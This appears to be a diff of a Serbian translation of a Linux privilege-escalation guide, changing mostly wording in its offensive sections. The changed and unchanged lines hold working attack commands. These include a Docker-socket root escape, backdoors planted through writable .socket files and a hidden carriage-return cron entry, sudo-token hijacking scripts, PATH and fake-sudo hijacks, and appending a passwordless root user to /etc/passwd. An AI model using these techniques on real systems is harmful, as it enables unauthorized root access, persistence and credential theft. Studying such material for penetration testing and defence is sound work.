**Ako je džoker prethodjen putanjom kao** _**/some/path/\***_, **nije ranjiv (čak ni** _**./\***_ **nije).**
|
||||
**Ako je džoker prethodjen putanjom kao** _**/some/path/\***_ **, nije ranjiv (čak ni** _**./\***_ **nije).**
|
||||
|
||||
Pročitajte sledeću stranicu za više trikova sa džokerima:
|
||||
Pročitajte sledeću stranicu za više trikova sa iskorišćavanjem džokera:
|
||||
|
||||
{{#ref}}
|
||||
wildcards-spare-tricks.md
|
||||
@ -372,7 +372,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
|
||||
|
||||
### Nevidljivi cron poslovi
|
||||
|
||||
Moguće je kreirati cron posao **stavljanjem povratka u red nakon komentara** (bez karaktera novog reda), i cron posao će raditi. Primer (obratite pažnju na karakter povratka u red):
|
||||
Moguće je kreirati cron posao **stavljanjem povratnog znaka nakon komentara** (bez novog reda), i cron posao će raditi. Primer (obratite pažnju na znak povratka):
|
||||
```bash
|
||||
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
|
||||
```
|
||||
@ -405,7 +405,7 @@ Zatim, kreirajte **izvršni** fajl sa **istim imenom kao relativna putanja binar
|
||||
|
||||
## **Tajmeri**
|
||||
|
||||
**Tajmeri** su systemd jedinice čije ime se završava sa `**.timer**` koje kontrolišu `**.service**` fajlove ili događaje. **Tajmeri** se mogu koristiti kao alternativa cron-u jer imaju ugrađenu podršku za kalendarske vremenske događaje i monotone vremenske događaje i mogu se izvršavati asinhrono.
|
||||
**Tajmeri** su systemd jedinice čije ime se završava sa `**.timer**` koje kontrolišu `**.service**` fajlove ili događaje. **Tajmeri** se mogu koristiti kao alternativa cron-u jer imaju ugrađenu podršku za događaje kalendarskog vremena i monotonskog vremena i mogu se izvršavati asinhrono.
|
||||
|
||||
Možete nabrojati sve tajmere sa:
|
||||
```bash
|
||||
@ -424,7 +424,7 @@ U dokumentaciji možete pročitati šta je jedinica:
|
||||
Dakle, da biste zloupotrebili ovu dozvolu, trebali biste:
|
||||
|
||||
- Pronaći neku systemd jedinicu (kao što je `.service`) koja **izvršava zapisivu binarnu datoteku**
|
||||
- Pronaći neku systemd jedinicu koja **izvršava relativnu putanju** i imate **zapisive privilegije** nad **systemd PUTANJOM** (da biste se pretvarali da ste taj izvršni program)
|
||||
- Pronaći neku systemd jedinicu koja **izvršava relativnu putanju** i imate **dozvole za pisanje** nad **systemd PUTANJOM** (da biste se pretvarali da ste taj izvršni program)
|
||||
|
||||
**Saznajte više o tajmerima sa `man systemd.timer`.**
|
||||
|
||||
@ -439,26 +439,26 @@ Napomena da je **tajmer** **aktiviran** kreiranjem symlink-a ka njemu na `/etc/s
|
||||
|
||||
## Sockets
|
||||
|
||||
Unix domena soketa (UDS) omogućava **komunikaciju procesa** na istim ili različitim mašinama unutar klijent-server modela. Koriste standardne Unix deskriptore za međuračunarsku komunikaciju i postavljaju se putem `.socket` datoteka.
|
||||
Unix domena soketa (UDS) omogućava **komunikaciju procesa** na istim ili različitim mašinama unutar klijent-server modela. Koriste standardne Unix deskriptore za međumašinsku komunikaciju i postavljaju se putem `.socket` datoteka.
|
||||
|
||||
Soketi se mogu konfigurisati koristeći `.socket` datoteke.
|
||||
|
||||
**Saznajte više o soketima sa `man systemd.socket`.** Unutar ove datoteke, može se konfigurisati nekoliko interesantnih parametara:
|
||||
**Saznajte više o soketima sa `man systemd.socket`.** Unutar ove datoteke može se konfigurisati nekoliko interesantnih parametara:
|
||||
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ove opcije su različite, ali se koristi sažetak da **naznači gde će slušati** soket (putanja AF_UNIX soket datoteke, IPv4/6 i/ili broj porta za slušanje, itd.)
|
||||
- `Accept`: Prihvaća boolean argument. Ako je **true**, **instanca servisa se pokreće za svaku dolaznu konekciju** i samo soket konekcije se prosleđuje. Ako je **false**, svi slušajući soketi se **prosleđuju pokrenutoj servisnoj jedinici**, i samo jedna servisna jedinica se pokreće za sve konekcije. Ova vrednost se ignoriše za datagram sokete i FIFOs gde jedna servisna jedinica bezuslovno obrađuje sav dolazni saobraćaj. **Podrazumevano je false**. Zbog razloga performansi, preporučuje se pisanje novih demona samo na način koji je pogodan za `Accept=no`.
|
||||
- `ExecStartPre`, `ExecStartPost`: Prihvaća jedan ili više komandnih redova, koji se **izvršavaju pre** ili **posle** kreiranja i vezivanja slušajućih **soketa**/FIFOs, redom. Prvi token komandnog reda mora biti apsolutna putanja do datoteke, a zatim slede argumenti za proces.
|
||||
- `ExecStartPre`, `ExecStartPost`: Prihvaća jedan ili više komandnih redova, koji se **izvršavaju pre** ili **posle** kreiranja i vezivanja slušajućih **soketa**/FIFOs, redom. Prvi token komandnog reda mora biti apsolutna datoteka, a zatim slede argumenti za proces.
|
||||
- `ExecStopPre`, `ExecStopPost`: Dodatne **komande** koje se **izvršavaju pre** ili **posle** zatvaranja i uklanjanja slušajućih **soketa**/FIFOs, redom.
|
||||
- `Service`: Specifikuje naziv **servisne** jedinice **koju treba aktivirati** na **dolaznom saobraćaju**. Ova postavka je dozvoljena samo za sokete sa Accept=no. Podrazumevano je na servis koji nosi isto ime kao soket (sa zamenjenim sufiksom). U većini slučajeva, ne bi trebalo da bude potrebno koristiti ovu opciju.
|
||||
- `Service`: Specifikuje naziv **servisne** jedinice **koju treba aktivirati** na **dolaznom saobraćaju**. Ova postavka je dozvoljena samo za sokete sa Accept=no. Podrazumevano je na servis koji nosi isto ime kao soket (sa zamenjenim sufiksom). U većini slučajeva, ne bi trebalo biti potrebno koristiti ovu opciju.
|
||||
|
||||
### Writable .socket files
|
||||
|
||||
Ako pronađete **writable** `.socket` datoteku, možete **dodati** na početak `[Socket]` sekcije nešto poput: `ExecStartPre=/home/kali/sys/backdoor` i backdoor će biti izvršen pre nego što soket bude kreiran. Stoga, **verovatno ćete morati da sačekate da se mašina ponovo pokrene.**\
|
||||
Ako pronađete **writable** `.socket` datoteku, možete **dodati** na početak `[Socket]` sekcije nešto poput: `ExecStartPre=/home/kali/sys/backdoor` i backdoor će biti izvršen pre nego što soket bude kreiran. Stoga, verovatno ćete **morati da sačekate da se mašina ponovo pokrene.**\
|
||||
&#xNAN;_Note da sistem mora koristiti tu konfiguraciju soket datoteke ili backdoor neće biti izvršen_
|
||||
|
||||
### Writable sockets
|
||||
|
||||
Ako **identifikujete bilo koji writable soket** (_sada govorimo o Unix soketima, a ne o konfiguracionim `.socket` datotekama_), onda **možete komunicirati** sa tim soketom i možda iskoristiti ranjivost.
|
||||
Ako **identifikujete bilo koji writable soket** (_sada govorimo o Unix soketima, a ne o konfiguracionim `.socket` datotekama_), tada **možete komunicirati** sa tim soketom i možda iskoristiti ranjivost.
|
||||
|
||||
### Enumerate Unix Sockets
|
||||
```bash
|
||||
@ -489,11 +489,11 @@ Ako soket **odgovara HTTP** zahtevom, tada možete **komunicirati** s njim i mo
|
||||
|
||||
### Writable Docker Socket
|
||||
|
||||
Docker soket, često pronađen na `/var/run/docker.sock`, je kritična datoteka koja treba biti zaštićena. Po defaultu, može se pisati od strane `root` korisnika i članova `docker` grupe. Posedovanje prava pisanja na ovom soketu može dovesti do eskalacije privilegija. Evo pregleda kako se to može uraditi i alternativnih metoda ako Docker CLI nije dostupan.
|
||||
Docker soket, često pronađen na `/var/run/docker.sock`, je kritična datoteka koja treba biti zaštićena. Po defaultu, može se pisati od strane `root` korisnika i članova `docker` grupe. Imati pristup za pisanje na ovaj soket može dovesti do eskalacije privilegija. Evo pregleda kako se to može uraditi i alternativnih metoda ako Docker CLI nije dostupan.
|
||||
|
||||
#### **Eskalacija privilegija sa Docker CLI**
|
||||
|
||||
Ako imate prava pisanja na Docker soketu, možete eskalirati privilegije koristeći sledeće komande:
|
||||
Ako imate pristup za pisanje na Docker soket, možete eskalirati privilegije koristeći sledeće komande:
|
||||
```bash
|
||||
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
|
||||
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
|
||||
@ -532,7 +532,7 @@ Connection: Upgrade
|
||||
Upgrade: tcp
|
||||
```
|
||||
|
||||
Nakon postavljanja `socat` veze, možete izvršavati komande direktno u kontejneru sa pristupom na nivou root-a do datotečnog sistema hosta.
|
||||
Nakon postavljanja `socat` veze, možete direktno izvršavati komande u kontejneru sa pristupom na nivou root-a do datotečnog sistema hosta.
|
||||
|
||||
### Ostalo
|
||||
|
||||
@ -546,7 +546,7 @@ docker-security/
|
||||
|
||||
## Containerd (ctr) eskalacija privilegija
|
||||
|
||||
Ako otkrijete da možete koristiti **`ctr`** komandu pročitajte sledeću stranicu jer **možda možete da je zloupotrebite za eskalaciju privilegija**:
|
||||
Ako otkrijete da možete koristiti **`ctr`** komandu, pročitajte sledeću stranicu jer **možda možete zloupotrebiti to za eskalaciju privilegija**:
|
||||
|
||||
{{#ref}}
|
||||
containerd-ctr-privilege-escalation.md
|
||||
@ -554,7 +554,7 @@ containerd-ctr-privilege-escalation.md
|
||||
|
||||
## **RunC** eskalacija privilegija
|
||||
|
||||
Ako otkrijete da možete koristiti **`runc`** komandu pročitajte sledeću stranicu jer **možda možete da je zloupotrebite za eskalaciju privilegija**:
|
||||
Ako otkrijete da možete koristiti **`runc`** komandu, pročitajte sledeću stranicu jer **možda možete zloupotrebiti to za eskalaciju privilegija**:
|
||||
|
||||
{{#ref}}
|
||||
runc-privilege-escalation.md
|
||||
@ -566,11 +566,11 @@ D-Bus je sofisticirani **sistem međuprocesne komunikacije (IPC)** koji omoguća
|
||||
|
||||
Sistem je svestran, podržavajući osnovni IPC koji poboljšava razmenu podataka između procesa, podsećajući na **poboljšane UNIX domen sokete**. Pored toga, pomaže u emitovanju događaja ili signala, omogućavajući besprekornu integraciju među komponentama sistema. Na primer, signal iz Bluetooth demona o dolaznom pozivu može naterati muzički plejer da utiša, poboljšavajući korisničko iskustvo. Dodatno, D-Bus podržava sistem udaljenih objekata, pojednostavljujući zahteve za uslugama i pozive metoda između aplikacija, olakšavajući procese koji su tradicionalno bili složeni.
|
||||
|
||||
D-Bus funkcioniše na **modelu dozvoli/odbij** i upravlja dozvolama za poruke (pozivi metoda, emitovanje signala itd.) na osnovu kumulativnog efekta usklađivanja pravila politike. Ove politike specificiraju interakcije sa autobusom, potencijalno omogućavajući eskalaciju privilegija kroz eksploataciju ovih dozvola.
|
||||
D-Bus funkcioniše na **modelu dozvola/odbijanja**, upravljajući dozvolama za poruke (pozivi metoda, emitovanje signala itd.) na osnovu kumulativnog efekta usklađenih pravila politike. Ove politike specificiraju interakcije sa autobusom, potencijalno omogućavajući eskalaciju privilegija kroz eksploataciju ovih dozvola.
|
||||
|
||||
Primer takve politike u `/etc/dbus-1/system.d/wpa_supplicant.conf` je dat, detaljno objašnjavajući dozvole za root korisnika da poseduje, šalje i prima poruke od `fi.w1.wpa_supplicant1`.
|
||||
Primer takve politike u `/etc/dbus-1/system.d/wpa_supplicant.conf` je dat, detaljno opisujući dozvole za root korisnika da poseduje, šalje i prima poruke od `fi.w1.wpa_supplicant1`.
|
||||
|
||||
Politike bez specificiranog korisnika ili grupe primenjuju se univerzalno, dok "podrazumevane" kontekst politike važe za sve što nije pokriveno drugim specifičnim politikama.
|
||||
Politike bez specificiranog korisnika ili grupe primenjuju se univerzalno, dok "podrazumevane" politike konteksta važe za sve što nije pokriveno drugim specifičnim politikama.
|
||||
```xml
|
||||
<policy user="root">
|
||||
<allow own="fi.w1.wpa_supplicant1"/>
|
||||
@ -589,7 +589,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md
|
||||
|
||||
Uvek je zanimljivo enumerisati mrežu i utvrditi poziciju mašine.
|
||||
|
||||
### Opšta enumeracija
|
||||
### Generička enumeracija
|
||||
```bash
|
||||
#Hostname, hosts and DNS
|
||||
cat /etc/hostname /etc/hosts /etc/resolv.conf
|
||||
@ -627,7 +627,7 @@ timeout 1 tcpdump
|
||||
```
|
||||
## Korisnici
|
||||
|
||||
### Generička Enumeracija
|
||||
### Opšta Enumeracija
|
||||
|
||||
Proverite **ko** ste, koje **privilegije** imate, koji **korisnici** su u sistemima, koji mogu da **prijave** i koji imaju **root privilegije:**
|
||||
```bash
|
||||
@ -654,11 +654,11 @@ gpg --list-keys 2>/dev/null
|
||||
### Big UID
|
||||
|
||||
Neke verzije Linux-a su bile pogođene greškom koja omogućava korisnicima sa **UID > INT_MAX** da eskaliraju privilegije. Više informacija: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) i [here](https://twitter.com/paragonsec/status/1071152249529884674).\
|
||||
**Iskoristite** koristeći: **`systemd-run -t /bin/bash`**
|
||||
**Iskoristite to** koristeći: **`systemd-run -t /bin/bash`**
|
||||
|
||||
### Groups
|
||||
|
||||
Proverite da li ste **član neke grupe** koja bi vam mogla dodeliti root privilegije:
|
||||
Proverite da li ste **član neke grupe** koja bi vam mogla dati root privilegije:
|
||||
|
||||
{{#ref}}
|
||||
interesting-groups-linux-pe/
|
||||
@ -687,14 +687,14 @@ Ako **znate neku lozinku** okruženja **pokušajte da se prijavite kao svaki kor
|
||||
|
||||
### Su Brute
|
||||
|
||||
Ako vam nije stalo do pravljenja puno buke i `su` i `timeout` binarni fajlovi su prisutni na računaru, možete pokušati da brute-force-ujete korisnika koristeći [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
|
||||
Ako vam nije stalo do pravljenja buke i `su` i `timeout` binarni fajlovi su prisutni na računaru, možete pokušati da brute-force-ujete korisnika koristeći [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
|
||||
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sa `-a` parametrom takođe pokušava da brute-force-uje korisnike.
|
||||
|
||||
## Zloupotrebe Writable PATH-a
|
||||
## Zloupotreba WRITEABLE PATH-a
|
||||
|
||||
### $PATH
|
||||
|
||||
Ako otkrijete da možete **pisati unutar neke fascikle $PATH-a** možda ćete moći da eskalirate privilegije tako što ćete **napraviti backdoor unutar pisive fascikle** sa imenom neke komande koja će biti izvršena od strane drugog korisnika (idealno root) i koja **nije učitana iz fascikle koja se nalazi pre** vaše pisive fascikle u $PATH-u.
|
||||
Ako otkrijete da možete **pisati unutar neke fascikle $PATH-a** možda ćete moći da eskalirate privilegije tako što ćete **napraviti backdoor unutar fascikle koja se može pisati** sa imenom neke komande koja će biti izvršena od strane drugog korisnika (idealno root) i koja **nije učitana iz fascikle koja se nalazi pre** vaše fascikle koja se može pisati u $PATH-u.
|
||||
|
||||
### SUDO i SUID
|
||||
|
||||
@ -757,7 +757,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
|
||||
|
||||
### Sudo komanda/SUID binarni bez putanje komande
|
||||
|
||||
Ako je **sudo dozvola** data jednoj komandi **bez navođenja putanje**: _hacker10 ALL= (root) less_ možete to iskoristiti promenom PATH varijable
|
||||
Ako je **sudo dozvola** data za jednu komandu **bez specificiranja putanje**: _hacker10 ALL= (root) less_ možete to iskoristiti promenom PATH varijable
|
||||
```bash
|
||||
export PATH=/tmp:$PATH
|
||||
#Put your backdoor in /tmp and name it "less"
|
||||
@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
|
||||
```
|
||||
### SUID binarni – .so injekcija
|
||||
|
||||
Kada naiđete na binarni fajl sa **SUID** dozvolama koji deluje neobično, dobra je praksa proveriti da li pravilno učitava **.so** fajlove. Ovo se može proveriti pokretanjem sledeće komande:
|
||||
Kada naiđete na binarni fajl sa **SUID** dozvolama koji deluje neobično, dobra je praksa da proverite da li pravilno učitava **.so** fajlove. Ovo se može proveriti pokretanjem sledeće komande:
|
||||
```bash
|
||||
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
|
||||
```
|
||||
@ -892,7 +892,7 @@ to znači da biblioteka koju ste generisali treba da ima funkciju pod nazivom `a
|
||||
|
||||
### GTFOBins
|
||||
|
||||
[**GTFOBins**](https://gtfobins.github.io) je kurirana lista Unix binarnih datoteka koje napadač može iskoristiti da zaobiđe lokalna sigurnosna ograničenja. [**GTFOArgs**](https://gtfoargs.github.io/) je isto to, ali za slučajeve kada možete **samo da injektujete argumente** u komandu.
|
||||
[**GTFOBins**](https://gtfobins.github.io) je kurirana lista Unix binarnih datoteka koje napadač može iskoristiti da zaobiđe lokalna sigurnosna ograničenja. [**GTFOArgs**](https://gtfoargs.github.io/) je isto, ali za slučajeve kada možete **samo injektovati argumente** u komandu.
|
||||
|
||||
Projekat prikuplja legitimne funkcije Unix binarnih datoteka koje se mogu zloupotrebiti za izlazak iz ograničenih ljuski, eskalaciju ili održavanje povišenih privilegija, prenos datoteka, pokretanje bind i reverse ljuski, i olakšavanje drugih post-exploitation zadataka.
|
||||
|
||||
@ -901,9 +901,13 @@ Projekat prikuplja legitimne funkcije Unix binarnih datoteka koje se mogu zloupo
|
||||
> strace -o /dev/null /bin/sh\
|
||||
> sudo awk 'BEGIN {system("/bin/sh")}'
|
||||
|
||||
{% embed url="https://gtfobins.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfobins.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://gtfoargs.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfoargs.github.io/
|
||||
{{#endref}}
|
||||
|
||||
### FallOfSudo
|
||||
|
||||
@ -911,7 +915,7 @@ Ako možete pristupiti `sudo -l`, možete koristiti alat [**FallOfSudo**](https:
|
||||
|
||||
### Ponovno korišćenje Sudo Tokena
|
||||
|
||||
U slučajevima kada imate **sudo pristup** ali ne i lozinku, možete eskalirati privilegije tako što ćete **čekati na izvršenje sudo komande i zatim preuzeti sesijski token**.
|
||||
U slučajevima kada imate **sudo pristup** ali ne i lozinku, možete eskalirati privilegije **čekajući izvršenje sudo komande i zatim preuzimajući sesijski token**.
|
||||
|
||||
Zahtevi za eskalaciju privilegija:
|
||||
|
||||
@ -930,7 +934,7 @@ bash exploit.sh
|
||||
/tmp/activate_sudo_token
|
||||
sudo su
|
||||
```
|
||||
- Drugi **eksploit** (`exploit_v2.sh`) će kreirati sh shell u _/tmp_ **u vlasništvu root-a sa setuid**
|
||||
- Drugi **eksploit** (`exploit_v2.sh`) će kreirati sh shell u _/tmp_ **u vlasništvu roota sa setuid**
|
||||
```bash
|
||||
bash exploit_v2.sh
|
||||
/tmp/sh -p
|
||||
@ -943,14 +947,14 @@ sudo su
|
||||
### /var/run/sudo/ts/\<Username>
|
||||
|
||||
Ako imate **dozvole za pisanje** u folderu ili na bilo kojoj od kreiranih datoteka unutar foldera, možete koristiti binarni [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) da **kreirate sudo token za korisnika i PID**.\
|
||||
Na primer, ako možete da prepišete datoteku _/var/run/sudo/ts/sampleuser_ i imate shell kao taj korisnik sa PID 1234, možete **dobiti sudo privilegije** bez potrebe da znate lozinku tako što ćete:
|
||||
Na primer, ako možete prepisati datoteku _/var/run/sudo/ts/sampleuser_ i imate shell kao taj korisnik sa PID 1234, možete **dobiti sudo privilegije** bez potrebe da znate lozinku radeći:
|
||||
```bash
|
||||
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
|
||||
```
|
||||
### /etc/sudoers, /etc/sudoers.d
|
||||
|
||||
Datoteka `/etc/sudoers` i datoteke unutar `/etc/sudoers.d` konfigurišu ko može koristiti `sudo` i kako. Ove datoteke **po defaultu mogu da se čitaju samo od strane korisnika root i grupe root**.\
|
||||
**Ako** možete **čitati** ovu datoteku, mogli biste da **dobijete neke zanimljive informacije**, a ako možete **pisati** bilo koju datoteku, moći ćete da **escalirate privilegije**.
|
||||
**Ako** možete **čitati** ovu datoteku, mogli biste da **dobijete neke zanimljive informacije**, a ako možete **pisati** bilo koju datoteku, moći ćete da **escalate privileges**.
|
||||
```bash
|
||||
ls -l /etc/sudoers /etc/sudoers.d/
|
||||
ls -ld /etc/sudoers.d/
|
||||
@ -977,9 +981,9 @@ permit nopass demo as root cmd vim
|
||||
|
||||
Ako znate da se **korisnik obično povezuje na mašinu i koristi `sudo`** za eskalaciju privilegija i dobili ste shell unutar tog korisničkog konteksta, možete **napraviti novi sudo izvršni fajl** koji će izvršiti vaš kod kao root, a zatim korisnikovu komandu. Zatim, **modifikujte $PATH** korisničkog konteksta (na primer dodajući novi put u .bash_profile) tako da kada korisnik izvrši sudo, vaš sudo izvršni fajl bude izvršen.
|
||||
|
||||
Imajte na umu da ako korisnik koristi drugačiji shell (ne bash) bićete u obavezi da modifikujete druge fajlove kako biste dodali novi put. Na primer, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Možete pronaći još jedan primer u [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
|
||||
Imajte na umu da ako korisnik koristi drugačiji shell (ne bash) bićete u obavezi da modifikujete druge fajlove da dodate novi put. Na primer, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Možete pronaći još jedan primer u [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
|
||||
|
||||
Ili pokretanjem nečega poput:
|
||||
Ili pokrenuti nešto poput:
|
||||
```bash
|
||||
cat >/tmp/sudo <<EOF
|
||||
#!/bin/bash
|
||||
@ -1002,7 +1006,7 @@ Datoteka `/etc/ld.so.conf` označava **odakle su učitane konfiguracione datotek
|
||||
|
||||
To znači da će se konfiguracione datoteke iz `/etc/ld.so.conf.d/*.conf` čitati. Ove konfiguracione datoteke **pokazuju na druge foldere** gde će se **biblioteke** **tražiti**. Na primer, sadržaj `/etc/ld.so.conf.d/libc.conf` je `/usr/local/lib`. **To znači da će sistem tražiti biblioteke unutar `/usr/local/lib`**.
|
||||
|
||||
Ako iz nekog razloga **korisnik ima dozvole za pisanje** na bilo kojem od putanja navedenih: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, bilo koja datoteka unutar `/etc/ld.so.conf.d/` ili bilo koji folder unutar konfiguracione datoteke unutar `/etc/ld.so.conf.d/*.conf`, može biti u mogućnosti da eskalira privilegije.\
|
||||
Ako iz nekog razloga **korisnik ima dozvole za pisanje** na bilo kojem od putanja označenih: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, bilo koja datoteka unutar `/etc/ld.so.conf.d/` ili bilo koji folder unutar konfiguracione datoteke unutar `/etc/ld.so.conf.d/*.conf`, može biti u mogućnosti da eskalira privilegije.\
|
||||
Pogledajte **kako iskoristiti ovu pogrešnu konfiguraciju** na sledećoj stranici:
|
||||
|
||||
{{#ref}}
|
||||
@ -1020,7 +1024,7 @@ linux-gate.so.1 => (0x0068c000)
|
||||
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
|
||||
/lib/ld-linux.so.2 (0x005bb000)
|
||||
```
|
||||
Kopiranjem lib u `/var/tmp/flag15/` biće korišćen od strane programa na ovom mestu kao što je navedeno u `RPATH` varijabli.
|
||||
Kopiranjem lib-a u `/var/tmp/flag15/` biće korišćen od strane programa na ovom mestu kao što je navedeno u `RPATH` varijabli.
|
||||
```
|
||||
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
|
||||
|
||||
@ -1054,13 +1058,13 @@ linux-capabilities.md
|
||||
## Dozvole direktorijuma
|
||||
|
||||
U direktorijumu, **bit za "izvršavanje"** implicira da korisnik može da "**cd**" u folder.\
|
||||
**"Read"** bit implicira da korisnik može **da nabroji** **fajlove**, a **"write"** bit implicira da korisnik može **da obriše** i **kreira** nove **fajlove**.
|
||||
**"Read"** bit implicira da korisnik može da **prikazuje** **datoteke**, a **"write"** bit implicira da korisnik može da **briše** i **kreira** nove **datoteke**.
|
||||
|
||||
## ACLs
|
||||
|
||||
Liste kontrole pristupa (ACLs) predstavljaju sekundarni sloj diskrecionih dozvola, sposobnih da **prevaziđu tradicionalne ugo/rwx dozvole**. Ove dozvole poboljšavaju kontrolu nad pristupom fajlovima ili direktorijumima omogućavajući ili odbijajući prava određenim korisnicima koji nisu vlasnici ili deo grupe. Ovaj nivo **granularnosti osigurava preciznije upravljanje pristupom**. Dodatne informacije možete pronaći [**ovde**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
Liste kontrole pristupa (ACLs) predstavljaju sekundarni sloj diskrecionih dozvola, sposobnih da **prevaziđu tradicionalne ugo/rwx dozvole**. Ove dozvole poboljšavaju kontrolu nad pristupom datotekama ili direktorijumima omogućavajući ili odbijajući prava određenim korisnicima koji nisu vlasnici ili deo grupe. Ovaj nivo **granularnosti osigurava preciznije upravljanje pristupom**. Dodatne informacije možete pronaći [**ovde**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
|
||||
**Dajte** korisniku "kali" dozvole za čitanje i pisanje nad fajlom:
|
||||
**Dajte** korisniku "kali" dozvole za čitanje i pisanje nad datotekom:
|
||||
```bash
|
||||
setfacl -m u:kali:rw file.txt
|
||||
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
|
||||
@ -1093,7 +1097,7 @@ screen -x [user]/[session id]
|
||||
```
|
||||
## tmux sesije preuzimanje
|
||||
|
||||
Ovo je bio problem sa **starim tmux verzijama**. Nisam mogao da preuzmem tmux (v2.1) sesiju koju je kreirao root kao korisnik bez privilegija.
|
||||
Ovo je bio problem sa **starim tmux verzijama**. Nisam mogao da preuzmem tmux (v2.1) sesiju koju je kreirao root kao neprivilegovan korisnik.
|
||||
|
||||
**Lista tmux sesija**
|
||||
```bash
|
||||
@ -1117,10 +1121,10 @@ Proverite **Valentine box from HTB** za primer.
|
||||
|
||||
## SSH
|
||||
|
||||
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
|
||||
### Debian OpenSSL Predvidljiv PRNG - CVE-2008-0166
|
||||
|
||||
Sve SSL i SSH ključevi generisani na Debian baziranim sistemima (Ubuntu, Kubuntu, itd) između septembra 2006. i 13. maja 2008. mogu biti pogođeni ovim bugom.\
|
||||
Ovaj bug se javlja prilikom kreiranja novog ssh ključa u tim OS, jer **je bilo moguće samo 32,768 varijacija**. To znači da se sve mogućnosti mogu izračunati i **imajući ssh javni ključ možete tražiti odgovarajući privatni ključ**. Izračunate mogućnosti možete pronaći ovde: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
Sve SSL i SSH ključevi generisani na Debian baziranim sistemima (Ubuntu, Kubuntu, itd) između septembra 2006. i 13. maja 2008. mogu biti pogođeni ovim greškom.\
|
||||
Ova greška se javlja prilikom kreiranja novog ssh ključa u tim OS, jer **je bilo moguće samo 32,768 varijacija**. To znači da se sve mogućnosti mogu izračunati i **imajući ssh javni ključ možete tražiti odgovarajući privatni ključ**. Izračunate mogućnosti možete pronaći ovde: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
|
||||
### SSH Zanimljive konfiguracione vrednosti
|
||||
|
||||
@ -1139,7 +1143,7 @@ Određuje da li root može da se prijavi koristeći ssh, podrazumevano je `no`.
|
||||
|
||||
### AuthorizedKeysFile
|
||||
|
||||
Određuje datoteke koje sadrže javne ključeve koji se mogu koristiti za autentifikaciju korisnika. Može sadržati tokene kao što su `%h`, koji će biti zamenjeni sa kućnim direktorijumom. **Možete navesti apsolutne putanje** (počinjući od `/`) ili **relativne putanje od korisničkog doma**. Na primer:
|
||||
Određuje datoteke koje sadrže javne ključeve koji se mogu koristiti za autentifikaciju korisnika. Može sadržati tokene poput `%h`, koji će biti zamenjeni sa home direktorijumom. **Možete naznačiti apsolutne putanje** (počinjući od `/`) ili **relativne putanje od korisnikovog home**. Na primer:
|
||||
```bash
|
||||
AuthorizedKeysFile .ssh/authorized_keys access
|
||||
```
|
||||
@ -1184,7 +1188,7 @@ cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
#Shadow equivalent files
|
||||
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
|
||||
```
|
||||
U nekim slučajevima možete pronaći **hash-ove lozinki** unutar datoteke `/etc/passwd` (ili ekvivalentne).
|
||||
U nekim slučajevima možete pronaći **hash-eve lozinke** unutar datoteke `/etc/passwd` (ili ekvivalentne).
|
||||
```bash
|
||||
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
```
|
||||
@ -1205,7 +1209,7 @@ E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
|
||||
Sada možete koristiti `su` komandu sa `hacker:hacker`
|
||||
|
||||
Alternativno, možete koristiti sledeće linije da dodate lažnog korisnika bez lozinke.\
|
||||
UPWARNING: možete pogoršati trenutnu sigurnost mašine.
|
||||
UPWARNING: možete smanjiti trenutnu sigurnost mašine.
|
||||
```
|
||||
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
|
||||
su - dummy
|
||||
@ -1227,7 +1231,7 @@ Vaša backdoor će biti izvršena sledeći put kada se tomcat pokrene.
|
||||
|
||||
### Proverite foldere
|
||||
|
||||
Sledeći folderi mogu sadržati backup-e ili zanimljive informacije: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Verovatno nećete moći da pročitate poslednji, ali pokušajte)
|
